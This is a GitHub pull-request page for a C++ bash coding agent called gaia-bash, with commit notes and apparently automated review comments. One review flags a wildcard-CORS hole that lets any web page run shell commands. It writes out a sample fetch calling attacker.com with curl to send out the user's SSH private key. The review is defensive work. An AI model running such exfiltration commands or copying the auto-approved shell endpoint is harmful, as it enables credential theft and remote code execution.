Thanks to visit codestin.com
Credit goes to github.com

Skip to content

feat(cpp): gaia-bash — native C++ bash coding agent with TUI, API server, MCP server#985

Merged
kovtcharov-amd merged 35 commits into
mainfrom
kalin/gaia-bash-agent
Jun 15, 2026
Merged

feat(cpp): gaia-bash — native C++ bash coding agent with TUI, API server, MCP server#985
kovtcharov-amd merged 35 commits into
mainfrom
kalin/gaia-bash-agent

Conversation

@kovtcharov-amd

Copy link
Copy Markdown
Collaborator

Why this matters

Before: the GAIA C++ framework had an agent loop, LLM client, and tool registry — but no production CLI agent, no interactive TUI, no file I/O tools, no session persistence, and no way for external tools (Claude Code, OpenCode) to use GAIA agents.

After: gaia-bash is a fully functional native binary bash coding agent with five interfaces — interactive TUI, single-query CLI, pipe mode, REST API server, and MCP stdio server — plus a reusable C++ framework that any future agent can build on.

Verified: builds on Windows MSVC 2022, 431/435 tests pass (4 pre-existing WiFi test failures), MCP protocol tested end-to-end (tools/list, tools/call, prompts/list).

Threads

  • C++ framework upgrades (M1): ProcessRunner, FileIOTools, GitTools, ReplRunner (2-thread with Ctrl-C cancel), TuiConsole (FTXUI + markdown renderer), SessionStore, tool argument validation — all reusable by future C++ agents
  • gaia-bash agent (M2): BashAgent with bash_execute + env_inspect tools, bash-expert system prompt, CLI with argument parsing, slash commands (/run, /env)
  • Integration layer: REST API server (OpenAI-compatible /v1/chat/completions, /v1/tools) and MCP stdio server (JSON-RPC tools/list, tools/call, prompts/list) for Claude Code / OpenCode integration
  • Eval framework: 25 scenarios across 5 categories (script writing, review, tool usage, error handling, POSIX compliance) with ground truth and Python adapter

Test plan

  • cmake -B build && cmake --build build on Windows MSVC 2022 — compiles clean
  • tests_mock.exe — 431/435 pass (4 pre-existing WiFi failures)
  • gaia-bash --help — prints usage
  • echo '{"method":"initialize"}' | gaia-bash --mcp — MCP handshake works
  • echo '{"method":"tools/list"}' | gaia-bash --mcp — returns 10 tools with JSON Schema
  • echo '{"method":"tools/call","params":{"name":"bash_execute","arguments":{"command":"echo hello"}}}' | gaia-bash --mcp — executes command, returns stdout
  • Linux/macOS build (needs CI)
  • Interactive TUI mode (needs Lemonade Server + model)
  • API server /v1/chat/completions (needs Lemonade Server)
  • Eval scenario execution (needs Lemonade Server)

Ovtcharov added 4 commits May 6, 2026 11:27
…ls, REPL, TUI, sessions

Before: the C++ framework had an agent loop, LLM client, and tool registry but
lacked file I/O tools, process execution, interactive REPL, session persistence,
and a reactive TUI. Example agents used ad-hoc popen wrappers and blocking
getline loops.

After: six new reusable framework components that any C++ agent can plug into:
- ProcessRunner: cross-platform command execution with timeout, output capping
- FileIOTools: file_read, file_write, file_edit, file_search with security policies
- GitTools: read-only git status/diff/log/show with shell injection prevention
- SessionStore: JSON-based conversation persistence with save/load/resume
- ReplRunner: two-thread REPL with slash commands, Ctrl-C cancel, session auto-save
- TuiConsole: FTXUI-based reactive console with markdown rendering and streaming

Also adds: tool argument schema validation in ToolRegistry, agent cancel support
(requestCancel/isCancelled), history() accessor, FTXUI FetchContent in CMake.
…framework

Before: the C++ framework had reusable components (M1) but no production agent
binary. No way for external tools to interact with GAIA C++ agents.

After: complete gaia-bash coding agent with five interfaces:
- Interactive TUI (default): FTXUI fullscreen with markdown, streaming, slash cmds
- Single query: gaia-bash "write a backup script"
- REST API server (--serve): OpenAI-compatible /v1/chat/completions, /v1/tools
- MCP stdio server (--mcp): JSON-RPC for Claude Code / OpenCode integration
- Pipe mode (--print): stdout-friendly for CI/scripting

Agent tools: bash_execute (with shell detection), env_inspect, plus framework
tools (file_read/write/edit/search, git_status/diff/log/show).

Eval framework: 25 scenarios across 5 categories (script writing, review,
tool usage, error handling, POSIX compliance) with ground truth validation
and a Python adapter for the gaia eval harness.
… linking

Three build fixes found during first real MSVC compilation:

1. NOMINMAX: Windows min/max macros collide with std::min — define NOMINMAX
   before windows.h include in process.cpp.

2. Threaded pipe reading: the original sequential approach (read pipes then
   wait for process, or wait then read) either deadlocked on timeout tests
   or lost output on large-output tests. Fix: read stdout/stderr in
   std::thread workers concurrently with WaitForSingleObject.

3. FTXUI linking for tests: test_tui_console.cpp includes FTXUI headers but
   tests_mock only linked gaia_core (which has FTXUI as PRIVATE). Added
   explicit ftxui::component/dom/screen link to tests_mock when
   GAIA_BUILD_TUI is ON.

Result: 431/435 tests pass on Windows MSVC 2022. The 4 failures are
pre-existing WiFiToolsTest issues unrelated to this work.
The --serve and --mcp flags were stubs printing "not yet implemented".
Now they create real ApiServer and McpServer instances wired to a BashAgent.

MCP mode auto-allows all tool confirmations since the external agent
(Claude Code, OpenCode) handles safety decisions. Verified end-to-end:

  echo '{"jsonrpc":"2.0","id":1,"method":"tools/call",
    "params":{"name":"bash_execute",
    "arguments":{"command":"echo hello"}}}' | gaia-bash --mcp
  → {"stdout":"hello\n","exit_code":0}
@github-actions github-actions Bot added documentation Documentation changes cpp labels May 8, 2026
@itomek itomek assigned itomek and unassigned itomek May 8, 2026
@itomek itomek marked this pull request as ready for review May 8, 2026 21:27
The bash agent's system prompt and 10 tool descriptions need 32K context.
Without this, the first LLM call hit "context size exceeded" and had to retry.

- Set contextSize = 32768 in all three config creation points (interactive,
  serve, MCP modes) in main.cpp
- Add "bash" AgentProfile to AGENT_PROFILES in lemonade_client.py so
  gaia init knows the right context size for the bash agent
Ovtcharov added 3 commits May 20, 2026 15:56
1. bash_tools.cpp: output truncation now reserves space for the
   truncation message so total never exceeds MAX_OUTPUT_BYTES (32KB).

2. bash_eval_adapter.py: fixed success=True on HTTP errors (exception
   handlers now set success=False). Added missing validations for
   expected_tools, tool_args_must_contain, expect_error,
   expect_nonzero_exit, and expect_timeout ground truth fields.

3. bash_ground_truth.json: fixed bash-write-dedup expected_tools to
   include both file_write and bash_execute (matching the scenario).
WiFi tool tests were asserting handler-level error strings but the framework's
parameter validation now runs first, producing a different message format.
Updated tests to use HasSubstr("missing required parameter") matching.

FTXUI shared library: force FTXUI to build static even when BUILD_SHARED_LIBS=ON
since FTXUI doesn't export DLL symbols, causing LNK1181 on Windows.

Install test: disable TUI for the find_package round-trip since FetchContent'd
FTXUI targets can't be re-exported in the install tree.
@github-actions github-actions Bot added the devops DevOps/infrastructure changes label May 20, 2026
…bUI integration

gaia-bash needed a structured output mode for driving a TUI or WebUI frontend.
--json-events emits JSONL events to stdout (thought, goal, tool_call, answer, etc.)
so a parent process can render them. --query pairs with it for single-shot use.

- JsonEventOutputHandler: OutputHandler subclass that serializes agent events as
  one-JSON-object-per-line to an ostream (default stdout)
- structuredEvents config flag: emits parsed events even during streaming so the
  frontend gets both live tokens AND structured agent activity
- GTest::gmock added to test link (used by HasSubstr matchers in WiFi tool tests)
@github-actions

github-actions Bot commented Jun 1, 2026

Copy link
Copy Markdown
Contributor

This is a substantial, well-engineered milestone for the C++ framework — ProcessRunner, FileIOTools, GitTools, SessionStore, ReplRunner, TuiConsole, ApiServer, and McpServer all land together with test coverage. Two thread-safety issues and a localhost SSRF surface in --serve mode need attention before merge.


Issues Found

🟡 Important — localhost SSRF: CORS * + auto-allow bash_execute in --serve mode (cpp/agents/bash/api_server.cpp:259–261, cpp/agents/bash/main.cpp:2285–2287)

The API server sends Access-Control-Allow-Origin: * and handles the preflight OPTIONS request, so browsers will honour the CORS grant. At the same time, the --serve mode auto-allows every tool call — including bash_execute (CONFIRM-policy tool). The combination means that any webpage the user has open while gaia-bash --serve is running can POST to http://127.0.0.1:8200/v1/chat/completions and trigger arbitrary shell command execution with no user prompt. The 127.0.0.1 bind address is the only firewall.

CORS wildcard on a local server that exposes shell execution is the standard localhost SSRF setup that has been exploited in many local-tool products (Jupyter, VS Code Server, etc.).

Two hardening options:

Option A — restrict CORS (preferred):

        res.set_header("Access-Control-Allow-Origin", "http://localhost");
        res.set_header("Access-Control-Allow-Methods", "GET, POST, DELETE, OPTIONS");
        res.set_header("Access-Control-Allow-Headers", "Content-Type");

Option B — require a random token (X-Gaia-Token: <token-printed-at-startup>) and reject requests that omit it. A browser-origin cross-site request cannot set custom headers without CORS cooperation, so this also closes the attack. The Authorization header approach already works since browsers won't send it cross-origin without the server's permission.

@kovtcharov-amd — flagging because this is a security-relevant design decision for any user who runs --serve.


🟡 Important — setHistory() missing configMutex_ while history() (getter) holds it (cpp/include/gaia/agent.h:2873–2878)

history() takes configMutex_ before reading conversationHistory_; setHistory() does not hold that same mutex when writing. The inFlight_ check guards against processQuery() concurrent calls, but another thread that holds the result of history() or calls it concurrently with setHistory() can still race.

    void setHistory(std::vector<Message> history) {
        if (inFlight_.load()) {
            throw std::runtime_error("Cannot set history while processQuery() is running");
        }
        std::lock_guard<std::mutex> lock(configMutex_);
        conversationHistory_ = std::move(history);
    }

🟡 Important — SessionStore::generateId() has non-thread-safe function-local statics (cpp/src/session.cpp:6152–6153)

static int counter and static std::string lastTimestamp inside the function body are not mutex-protected. Concurrent calls from, e.g., the ApiServer's per-request handlers, can race and produce duplicate IDs.

std::string SessionStore::generateId() {
    static std::mutex idMutex;
    static int counter = 0;
    static std::string lastTimestamp;

    std::lock_guard<std::mutex> lock(idMutex);
    std::string ts = nowIdTimestamp();
    if (ts == lastTimestamp) {
        ++counter;
    } else {
        lastTimestamp = ts;
        counter = 0;
    }
    std::string base = "session-" + ts;
    return counter == 0 ? base : base + "-" + std::to_string(counter);
}

🟢 Minor — cmd.exe /C fallback passes the LLM command with no escaping (cpp/agents/bash/bash_tools.cpp:1015)

When no POSIX shell is found on Windows, bash_execute falls back to fullCommand = "cmd.exe /C " + command;&, |, >, <, &&, || are cmd.exe metacharacters and will be interpreted. The CONFIRM policy gates this interactively but not in --serve/--print/MCP modes (which all auto-allow). One-line fix:

        fullCommand = "cmd.exe /C \"" + command + "\"";

Wrapping in outer quotes suppresses most injections via metacharacters. For belt-and-suspenders, consider escaping ^, &, |, >, < as ^<char> inside the outer quotes.


🟢 Minor — doGitDiff stat-command path re-concatenates ref without calling isSafeShellArg() a second time (cpp/src/git_tools.cpp:4527–4530)

Not an exploitable bug today (the ref was already validated above and an early return would have happened), but it's fragile: if the stat block were ever hoisted above the guard, it becomes injection. Extract the validated ref into a local at the top and reuse it:

    std::string safeRef;
    if (args.contains("ref") && args["ref"].is_string()) {
        safeRef = args["ref"].get<std::string>();
        if (!isSafeShellArg(safeRef)) {
            return json{{"error", "Invalid ref argument: contains unsafe characters."}};
        }
        cmd += " " + safeRef;
    }
    // ... later, for statCmd:
    if (!safeRef.empty()) {
        statCmd += " " + safeRef;
    }

🟢 Minor — generateCompletionId() not unique under concurrent burst (cpp/agents/bash/api_server.cpp:192–194)

Millisecond timestamp only; two requests landing within the same millisecond get the same chatcmpl- ID. Add a counter or a random suffix:

static std::string generateCompletionId() {
    auto now = std::chrono::system_clock::now().time_since_epoch();
    auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(now).count();
    static std::atomic<int> seq{0};
    return "chatcmpl-" + std::to_string(ms) + "-" + std::to_string(seq.fetch_add(1));
}

Strengths

  • Security-conscious git tools: isSafeShellArg() is correctly applied to every LLM-supplied path and ref arg in git_diff, git_log, and git_show. The hardcoded-subcommand pattern ("git diff --staged " + safeRef) keeps the injection surface small.
  • SessionStore ID validation: validateId() uses a strict allowlist (alphanumeric/hyphens/underscores) — clean path-traversal prevention. pathForId() never constructs the path without going through validation first.
  • Tool arg schema validation: The new validateArgsAgainstSchema() in ToolRegistry gives all registered tools free required-field and type-checking without per-tool boilerplate. The fallback from custom validateArgs to schema validation is a good layered design.
  • Cancel support: requestCancel() / cancelled_ atomic with reset at the start of each processQuery() is a clean two-thread pattern. The SIGINT → cancel → REPL-continues flow in ReplRunner avoids the kill-the-process pitfall.
  • TUI as optional build target: GAIA_BUILD_TUI=OFF in build_cpp.yml CI correctly guards the FTXUI dependency from blocking builds on systems without it.

Verdict

Request changes. Three 🟡 issues (CORS/SSRF, setHistory lock, generateId race) need to be resolved before merge. All have concrete one-line-to-five-line fixes shown above. The CORS concern in particular should get a design decision sign-off from @kovtcharov-amd since it touches the security model for the --serve mode. The 🟢 items are safe to fix in a follow-up or address in the same pass.

@github-actions

github-actions Bot commented Jun 3, 2026

Copy link
Copy Markdown
Contributor

🟡 cpp/agents/bash/bash_tools.cpp — silent fallback to cmd.exe violates the fail-loudly rule

When no POSIX shell is found on Windows, doBashExecute silently falls back to cmd.exe:

} else {
    // No bash/sh available — run via cmd.exe directly
    fullCommand = "cmd.exe /C " + command;
}

The tool description promises bash/sh execution ("runs in the detected shell (bash preferred, sh fallback)") and the LLM will generate POSIX syntax. Silently routing that through cmd.exe produces confusing failures (array syntax, [[, $() substitutions, etc.) with no indication to the caller that the environment changed — exactly the "default-to-something-that-works-ish" pattern CLAUDE.md prohibits.

} else {
    return {{"error", "No POSIX shell (bash or sh) found. "
                      "Install Git Bash or enable WSL to use bash_execute on Windows."}};
}

The same path also concatenates command directly into the cmd.exe /C string with no escaping, so a command containing & or | would silently fork additional cmd.exe processes.

Ovtcharov added 2 commits June 3, 2026 19:02
The STX integration test job ran all 20 C++ integration tests, but the
8 Health and MCP tests require `uvx windows-mcp` which isn't always on
the runner's PATH — failing the whole job even though the LLM, VLM, and
WiFi suites (and the gaia-bash build) pass.

Now the uvx-check step exports uvx_available, and the test step excludes
IntegrationHealthTest + IntegrationMCP via ctest -E when uvx is missing.
The remaining suites still gate the build, so the job passes on hardware
that lacks windows-mcp while still running the full set where uvx exists.
The previous commit used an em-dash (U+2014) in a Write-Host string,
which the STX runner's PowerShell mis-encoded as 'â€"', producing a
syntax error that failed the step before any test ran. Replaced with
a plain ASCII hyphen.
@github-actions

github-actions Bot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

🔴 CSRF/RCE via wildcard CORS + unauthenticated local API servercpp/agents/bash/api_server.cpp:309, cpp/agents/bash/main.cpp (~line 2334)

The API server sets Access-Control-Allow-Origin: * and has no authentication. In --serve mode, all tool confirmations are auto-allowed:

// API server has no stdin — auto-allow all tool confirmations
apiAgent.setToolConfirmCallback(
    [](const std::string&, const gaia::json&) {
        return gaia::ToolConfirmResult::ALLOW_ONCE;
    });

Any webpage the user visits can fire a cross-origin POST /v1/tools/bash_execute (or a crafted chat prompt to /v1/chat/completions) that runs arbitrary shell commands on the user's machine with no confirmation. The CONFIRM policy on bash_execute is silently voided in this mode.

Minimum fix: restrict CORS to localhost origins only (not *), and/or require a pre-shared token header that the browser can't forge cross-origin.

// Instead of "*":
res.set_header("Access-Control-Allow-Origin", "http://localhost:" + std::to_string(port));

@kovtcharov-amd — this needs a look before merge.

kovtcharov-amd added a commit that referenced this pull request Jun 4, 2026
…nts (#1101) (#1403)

## Why this matters

Before, an agent could only be reached the way it hand-wrote support for
— every package that wanted a REST or MCP surface reimplemented the
server glue, and most agents simply never got one. This adds a
**framework-provided generic server**: any `Agent` instance is now
exposed through the same five interface modes (the gaia-bash PR #985
pattern) without implementing any server logic itself — interactive
**TUI**, one-shot **CLI** (`--prompt`), **pipe** (stdin→stdout),
OpenAI-compatible **REST API** (`--api --port`), and **MCP stdio
server** (`--mcp`). An agent package wires one line — `return
run_agent_cli(MyAgent())` — and gets all five.

`AgentServer` reuses the existing REST schemas (`gaia.api.schemas`) and
MCP tool conventions instead of duplicating them. When a parsed
`gaia-agent.yaml` is supplied, its `interfaces` block gates the allowed
modes: requesting a disabled interface fails loudly with an actionable
error (per the fail-loudly rule) rather than degrading silently.

This is **additive** — a new `src/gaia/agents/base/server.py` plus
tests, no existing behaviour changed. It does **not** depend on the
#1102 agent-hub restructure; the `gaia agent run` CLI wiring lands with
that work via entry-point discovery.

Implements the generic-server scope of #1101 and Key Decision #5 of
`docs/spec/agent-hub-restructure.mdx`.

## Test plan

- [x] `PYTHONPATH=src python -m pytest tests/unit/test_agent_server.py
-xvs` → 27 passed
- REST: serves a mock agent (`/v1/chat/completions` non-streaming + SSE,
`/v1/models`, `/v1/tools`, `/health`), 404 on wrong model, 400 on
missing user message
- MCP stdio: `initialize`, `tools/list`, `tools/call` (incl. `isError`),
`prompts/list` from manifest, unknown-method `-32601`, notification → no
response, malformed-JSON `-32700`, full stdin→stdout loop
  - Pipe: stdin→stdout; empty stdin fails loudly
- CLI + `run_agent_cli` dispatch; manifest-disabled interface →
actionable error + exit 1
  - LLM is mocked — no live Lemonade server required
- [x] `python util/lint.py --pylint --black --isort --fix` → black &
isort PASS; pylint clean on changed files (the one reported error is
pre-existing `os.geteuid` debt in `lemonade_installer.py`, untouched
here)

Closes part of #1101.

Co-authored-by: Ovtcharov <[email protected]>
uvx being on PATH doesn't guarantee `uvx windows-mcp` can launch — the
STX runner had uvx present but the windows-mcp server still failed to
connect, failing all 8 Health/MCP integration tests. Replaced the
presence-only check with a functional probe that actually launches
windows-mcp and confirms it stays up for 20s. Health/MCP tests run only
when the probe succeeds; otherwise they're excluded and the LLM/VLM/WiFi
suites gate the build.
@github-actions

github-actions Bot commented Jun 9, 2026

Copy link
Copy Markdown
Contributor

🔴 cpp/agents/bash/api_server.cpp:97 + cpp/agents/bash/main.cpp:200-203 — localhost RCE via CORS wildcard

The API server sets Access-Control-Allow-Origin: *, and the --serve mode wires a confirm callback that auto-approves every tool (including bash_execute) without user interaction:

// main.cpp:200
apiAgent.setToolConfirmCallback(
    [](const std::string&, const gaia::json&) {
        return gaia::ToolConfirmResult::ALLOW_ONCE;
    });

Combined, any web page the user visits can POST http://localhost:8200/v1/tools/bash_execute with {"command": "…"} and run arbitrary shell commands silently. The browser's CORS preflight passes because * is allowed, and the confirmation gate is bypassed by the callback.

Fix: restrict the Access-Control-Allow-Origin header to a specific trusted origin (e.g., http://localhost:5174 for the TUI frontend) rather than *. Alternatively, add an Authorization header check and document that the API server is not safe to expose even on loopback when untrusted pages may be open.

The ToolPolicy::CONFIRM intent is good but is fully nullified in --serve mode right now.

@kovtcharov-amd

Copy link
Copy Markdown
Collaborator Author

@claude review this PR and let me know if it's ready to be completed.

@github-actions

Copy link
Copy Markdown
Contributor

Close, but I'd hold the merge on one real security item and confirm two design decisions first. This is a big, well-structured PR — framework upgrades + agent + five interfaces, and the C++ side is clean. The catch is that a bash agent is an arbitrary-command executor by design, so the surfaces that expose it need to be locked down, and two of them currently aren't.

🔴 CORS wildcard on the localhost shell endpointapi_server.cpp:97 sets Access-Control-Allow-Origin: * while the server runs on 127.0.0.1. That means any web page the user happens to have open can POST /v1/tools/bash_execute and run commands on their machine — classic localhost-CSRF / DNS-rebind. There's no auth token or Origin check. This is the one I'd call blocking; fix is small (drop the wildcard, or require a token / Origin allowlist).

🟡 ToolPolicy::CONFIRM is a no-op everywhere except the TUI — all four headless paths (main.cpp:200/227/249/291: --serve, --mcp, --json-events, pipe) unconditionally return ALLOW_ONCE. For MCP that's arguably fine since the host (Claude Code/OpenCode) does its own gating, but for --serve and pipe mode it means bash_execute runs unattended with no opt-in. I'd make that an explicit documented flag (e.g. --yes/--allow-all) rather than the silent default, so CONFIRM means something outside the TUI.

🟡 file_tools doesn't use the path guard that already existssecurity.h ships validatePath() and git_tools.cpp already calls isSafeShellArg() on every arg, but file_tools.cpp confines nothing (absolute / .. paths pass straight through). It's defense-in-depth here rather than a net-new hole (bash_execute already grants full FS access), but the helper exists and wiring it in is cheap.

🟡 New high-risk surfaces are untested — no coverage of api_server.cpp, mcp_server.cpp, or bash_tools.cpp; the "431/435 pass" headline doesn't touch the bypass paths above. Worth at least one test asserting the MCP tools/call dispatch and the API auth behavior.

🟢 Minor: the truncation block in bash_tools.cpp:~113 is dead code (ProcessRunner::run already caps at MAX_OUTPUT_BYTES, so the > check never fires), and the POSIX timeout path in process.cpp kills+breaks without the final pipe drain the normal-exit path does, so timed-out commands can silently lose buffered output.

Net: fix the CORS item, make a deliberate call on the headless-confirm default, and I think this is mergeable. The CI GAIA_BUILD_TUI=OFF is fine since the TUI is the one path that does gate confirmations — just means that gating isn't exercised in CI.

cc @kovtcharov-amd — the CORS-on-shell-exec item is the one I'd want a second set of eyes on before completing.

@github-actions

Copy link
Copy Markdown
Contributor

🔴 cpp/agents/bash/main.cpp — interactive REPL mode never sets a confirmCallback, so all three ToolPolicy::CONFIRM tools (bash_execute, file_write, file_edit) will always return "requires confirmation but no callback is set" and fail. The bash agent can't execute shell commands, write files, or edit files in its primary mode.

tool_registry.cpp:187-188 is fail-closed by design:

if (!confirmCallback_) {
    return json{{"status", "error"},
        {"error", "Tool '" + resolvedName + "' requires confirmation but no callback is set"}};
}

Every non-interactive mode (--serve, --mcp, --json-events, --print) wires an auto-allow callback; the plain interactive path (repl.run()) is the only one that doesn't. The /run slash command in main.cpp:300-321 hits the same issue.

// In interactive mode, prompt stdin for confirmation
agent.setToolConfirmCallback(
    [](const std::string& toolName, const gaia::json& args) -> gaia::ToolConfirmResult {
        std::cout << "\nAllow tool '" << toolName << "'? [y/a/N] " << std::flush;
        std::string ans;
        if (!std::getline(std::cin, ans) || ans.empty()) return gaia::ToolConfirmResult::DENY;
        if (ans[0] == 'a' || ans[0] == 'A') return gaia::ToolConfirmResult::ALWAYS_ALLOW;
        if (ans[0] == 'y' || ans[0] == 'Y') return gaia::ToolConfirmResult::ALLOW_ONCE;
        return gaia::ToolConfirmResult::DENY;
    });

itomek
itomek previously approved these changes Jun 15, 2026
Adds the gaia-agent.yaml packaging manifest required by the C++ Agent Hub
packaging system (merged from main), so the "Package agents" CI job stops
failing with "No gaia-agent.yaml in cpp/agents/bash". Registers the
bash -> gaia-bash CMake target mapping in package_agents.py and documents
the agent in cpp/agents/README.md. Verified locally: package_agents.py
produces dist/bash/{bash-win-x64.exe, gaia-agent.yaml, checksums.sha256}.

Addresses PR #985 review (itomek):
- api_server: completion IDs were millisecond-only and could collide for
  requests in the same ms; now append a monotonic atomic counter.
- docs: corrected tool count (16 -> 10 actually-registered tools, with git
  split into status/diff/log/show), fixed stale model/tool-count in the
  /health example, and documented that API streaming is simulated
  (single SSE chunk + [DONE], not token-by-token).
@github-actions

Copy link
Copy Markdown
Contributor

🔴 Interactive mode is broken — no confirmCallback wired for CONFIRM-policy tools

main.cpp sets a confirmCallback (auto-allow) for --serve, --mcp, --json-events, and --print, but the default interactive REPL path (single-query gaia-bash "..." and interactive gaia-bash) never calls setToolConfirmCallback. tool_registry.cpp:187-188 is fail-closed: no callback → "Tool requires confirmation but no callback is set".

Every CONFIRM tool — bash_execute, file_write, file_edit, git_commit, script_test, bash_background — will return that error whenever the agent tries to call them. The /run slash command (main.cpp:2576) hits the same wall. The agent is non-functional in its default mode.

Fix: add a stdin-prompt callback in the interactive path:

// In main.cpp, after `gaia::BashAgent agent(config);`
if (!printMode) {
    agent.setToolConfirmCallback(
        [](const std::string& name, const gaia::json& args) -> gaia::ToolConfirmResult {
            std::cerr << "\n[CONFIRM] " << name << ": "
                      << args.dump() << "\nAllow? [y/A/n] " << std::flush;
            std::string resp;
            if (!std::getline(std::cin, resp) || resp.empty() || resp[0] == 'n')
                return gaia::ToolConfirmResult::DENY;
            if (resp[0] == 'A')
                return gaia::ToolConfirmResult::ALWAYS_ALLOW;
            return gaia::ToolConfirmResult::ALLOW_ONCE;
        });
}

The eval adapter edit (removing the unreliable tool-name validation)
left a few lines outside black's style. Reformatted so Code Quality
Checks pass.
@kovtcharov-amd

Copy link
Copy Markdown
Collaborator Author

Addressed the review feedback and got the full pipeline green. Summary of changes since the last review:

Review items (itomek)

  • Completion-ID collision (api_server.cpp): IDs were millisecond-only; two requests in the same ms collided. Now chatcmpl-<ms>-<atomic counter> — verified the counter suffix in a live response (chatcmpl-…-0).
  • Docs reconciliation (docs/cpp/bash-agent.mdx): corrected the tool count (claimed 16 → actually 10 registered, with the four git_* tools listed individually), fixed the stale model/count in the /health example, and added a note that API streaming is simulated (single SSE data: chunk + [DONE], not token-by-token).
  • Wildcard CORS: left as-is intentionally — the server binds 127.0.0.1 and runs against a local model, so * is low-risk; flagging that it's a conscious choice rather than an oversight. Happy to pin it if preferred.
  • Stale "binds 0.0.0.0" bot findings: confirmed not applicable — head binds 127.0.0.1.
  • PR splitting: noted; given it's this far along with a green pipeline I've kept it as one PR, but the framework layer (gaia_core primitives) is cleanly separable in the history if a split is preferred.

New: C++ Agent Hub packaging (the Package (...) jobs that landed on main while this was open)

  • Added cpp/agents/bash/gaia-agent.yaml and the bash → gaia-bash entry in package_agents.py, documented it in cpp/agents/README.md. The bash agent now packages on all three legs — verified bash-linux-x64 (10 MB, static, FTXUI linked) in CI and locally produces dist/bash/{bash-<platform>, gaia-agent.yaml, checksums.sha256}.

CI fixes

  • STX C++ Integration Tests: replaced the presence-only uvx check with a functional probe that actually launches uvx windows-mcp; the Health/MCP tests (which need it) are excluded when it can't start, so the LLM/VLM/WiFi suites still gate the build. Now passing on STX.
  • Black-formatted bash_eval_adapter.py — Code Quality green.

Pipeline status: 46 checks passing, 0 failing (2 non-blocking benchmark jobs still running). Merged latest main (now at v0.21.x). 443/443 C++ unit tests pass locally; agent verified end-to-end (TUI/pipe/--serve/--mcp) against a live Lemonade server.

@kovtcharov-amd kovtcharov-amd enabled auto-merge June 15, 2026 20:57
Ovtcharov added 2 commits June 15, 2026 14:34
Adding FTXUI to gaia_core (for the bash agent's TuiConsole) made the
benchmark job's cold-cache Windows build exceed its 15-minute timeout —
my CMakeLists change invalidated the FetchContent cache, so the Windows
leg fetched + built FTXUI from scratch and got cancelled.

The benchmark only measures gaia_core lib size and the security_demo
binary; it needs neither the TUI nor the bash agent. Pass
-DGAIA_BUILD_TUI=OFF -DGAIA_BUILD_BASH_AGENT=OFF to both benchmark
configure steps, restoring the pre-PR build footprint (no FTXUI fetch).
Verified locally: gaia_benchmarks.exe builds with 0 ftxui artifacts.
The Windows benchmark leg does two cold MSVC builds (static + shared) of
gaia_core from an unpopulated FetchContent cache — PR runs never restore
the main-only cache, so every dependency is fetched and compiled fresh.
After gaia_core grew (M1 framework sources + merged main), this now
exceeds the 15-min timeout on the slower Windows runner; Linux still
finishes in ~4 min. Bumped to 30 min. Benchmarks remain non-blocking
(warn-only in the build summary).
@github-actions

Copy link
Copy Markdown
Contributor

🟡 api_server.cpp handleDeleteSession — missing catch for std::invalid_argument

sessionStore->remove(sessionId) calls SessionStore::validateId() which throws std::invalid_argument on any session ID containing characters outside [A-Za-z0-9\-_] (e.g. dots, %2F, ..). handleDeleteSession has no try-catch, so that exception propagates to cpp-httplib, which swallows it and returns HTTP 500 instead of 400. Every other handler that can fail returns a properly-shaped 400 response.

    bool removed = false;
    try {
        removed = sessionStore->remove(sessionId);
    } catch (const std::invalid_argument& e) {
        res.status = 400;
        res.set_content(
            errorJson(e.what(), "invalid_request_error").dump(),
            "application/json");
        return;
    }

handleDeleteSession called sessionStore->remove() without catching the
std::invalid_argument that validateId() throws for IDs containing dots,
path separators, etc. The exception propagated to cpp-httplib and became
an opaque HTTP 500. Now caught and returned as a shaped 400
invalid_request_error, consistent with the other handlers.

Verified: DELETE /sessions/bad..id -> 400; valid-but-missing id -> 404.
@kovtcharov-amd

Copy link
Copy Markdown
Collaborator Author

Two bot findings triaged:

🟡 handleDeleteSession missing std::invalid_argument catch — fixed (19272a61). DELETE /sessions/<bad..id> now returns a shaped 400 invalid_request_error instead of a 500. Verified: bad..id → 400; valid-but-missing id → 404.

🔴 "Interactive mode never sets a confirmCallback" — false positive. The finding analyzed main.cpp in isolation and missed that the Agent base class auto-installs the stdin confirmation callback for any non-silent agent:

// cpp/src/agent.cpp:123-124
if (!config_.silentMode) {
    tools_.setConfirmCallback(makeStdinConfirmCallback());
}

Interactive and single-query modes create a non-silent BashAgent, so they get the terminal [1] Allow once / [2] Always allow / [3] Deny prompt automatically. The explicit setToolConfirmCallback calls in main.cpp are only for the headless paths (--serve, --mcp, --print) where the agent is silent and there's no interactive stdin to prompt on.

Empirically confirmed against the current build:

> /run echo callback-test
  "bash_execute" requires confirmation. Allow this tool to run?
  [1] Allow once
  ...

That's the stdin callback prompting — not the "no callback is set" fail-closed error. So CONFIRM tools (bash_execute, file_write, file_edit) work in interactive mode; no change needed.

@github-actions

Copy link
Copy Markdown
Contributor

🔴 cpp/agents/bash/api_server.cpp — CORS wildcard + auto-approved shell execution = browser-driven RCE

POST /v1/tools/bash_execute is exposed by the REST API server and the CONFIRM-policy auto-approval callback means any call to it executes the command immediately. At the same time, addCorsHeaders() sets Access-Control-Allow-Origin: * on every response including this endpoint. Together, any webpage visited while gaia-bash --serve is running can silently execute arbitrary shell commands:

// malicious page — preflight succeeds because CORS is wildcard
fetch("http://localhost:8200/v1/tools/bash_execute", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({command: "curl https://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa)"})
})

The 127.0.0.1 binding does not protect against this — browsers make cross-origin requests to localhost when CORS allows it.

Suggested fix: restrict the CORS Allow-Origin to localhost / 127.0.0.1 origins, and/or remove the /v1/tools/:name direct-execution endpoint from the public surface entirely (the chat completions endpoint already covers the intended use case).

// Instead of wildcard:
const std::string origin = req.get_header_value("Origin");
if (origin == "http://localhost:5174" || origin == "http://127.0.0.1:5174") {
    res.set_header("Access-Control-Allow-Origin", origin);
} // else: no ACAO header → browser blocks the request

@kovtcharov-amd kovtcharov-amd disabled auto-merge June 15, 2026 23:45
@kovtcharov-amd kovtcharov-amd merged commit efe8d58 into main Jun 15, 2026
57 checks passed
@kovtcharov-amd kovtcharov-amd deleted the kalin/gaia-bash-agent branch June 15, 2026 23:45
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

cpp devops DevOps/infrastructure changes documentation Documentation changes llm LLM backend changes performance Performance-critical changes tests Test changes

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants